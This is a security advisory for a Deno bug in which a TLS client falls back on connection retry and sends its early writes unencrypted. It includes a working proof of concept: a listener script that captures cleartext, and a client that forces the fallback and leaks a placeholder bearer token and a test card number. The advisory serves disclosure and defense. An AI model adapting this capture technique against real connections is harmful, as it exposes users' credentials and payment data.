JLSEC-2026-654

Source
https://github.com/JuliaLang/SecurityAdvisories.jl/blob/main/advisories/published/2026/JLSEC-2026-654.md
Import Source
https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-654.json
JSON Data
https://api.osv.dev/v1/vulns/JLSEC-2026-654
Upstream
  • EUVD-2026-38548
Published
2026-07-07T13:43:33.746Z
Modified
2026-07-07T13:49:37.318124858Z
Severity
  • 7.4 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
Deno's TLS retry copies stale upgrade hook, risking plaintext traffic
Details

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)

import net from "node:net";

const server = net.createServer((socket) => {
  console.log("[attacker] client connected from", socket.remoteAddress);
  socket.on("data", (chunk) => {
    // If TLS were working, this would be an opaque ClientHello.
    // If the bug fires, we see the application payload in cleartext.
    console.log("[attacker] received", chunk.length, "bytes:");
    console.log(chunk.toString("utf8"));
  });
});

server.listen(4444, "127.0.0.1", () => {
  console.log("[attacker] listening on 127.0.0.1:4444");
});

victim.mjs (a normal-looking TLS client)

import tls from "node:tls";

const socket = tls.connect({
  host: "api.example.invalid",
  port: 4444,
  autoSelectFamily: true, // Node-compat default

  // First address is a black hole (nothing on [::1]:4444),
  // so autoSelectFamily falls back to the second address.
  // In a real attack, the on-path attacker arranges this via
  // routing, DNS, or by dropping the first SYN.
  lookup: (_host, _opts, cb) => {
    cb(null, [
      { address: "::1",       family: 6 }, // fails -> retry
      { address: "127.0.0.1", family: 4 }, // attacker
    ]);
  },

  rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",         (e) => console.log("[victim] error:", e.message));

In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...

The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.

Database specific
{
    "sources": [
        {
            "modified": "2026-06-26T18:11:01.950Z",
            "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-44726",
            "database_specific": {
                "status": "Analyzed"
            },
            "html_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44726",
            "id": "CVE-2026-44726",
            "imported": "2026-06-27T08:36:01.287Z",
            "published": "2026-06-23T18:17:48.623Z"
        },
        {
            "modified": "2026-05-27T19:51:46Z",
            "url": "https://api.github.com/advisories/GHSA-chqv-56wv-7564",
            "html_url": "https://github.com/advisories/GHSA-chqv-56wv-7564",
            "id": "GHSA-chqv-56wv-7564",
            "imported": "2026-06-27T08:36:37.247Z",
            "published": "2026-05-27T19:51:46Z"
        },
        {
            "html_url": "https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38548",
            "url": "https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2026-38548",
            "modified": "2026-06-25T13:48:50Z",
            "id": "EUVD-2026-38548",
            "imported": "2026-06-27T08:36:01.407Z",
            "published": "2026-06-23T17:24:02Z"
        }
    ],
    "license": "CC-BY-4.0"
}
References
Credits

Affected packages

Julia / Deno_jll

Package

Name
Deno_jll
Purl
pkg:julia/Deno_jll?uuid=04572ae6-984a-583e-9378-9577a1c2574d

Affected ranges

Type
SEMVER
Events
Introduced
2.0.0+0
Fixed
2.8.1+0

Database specific

source
"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-654.json"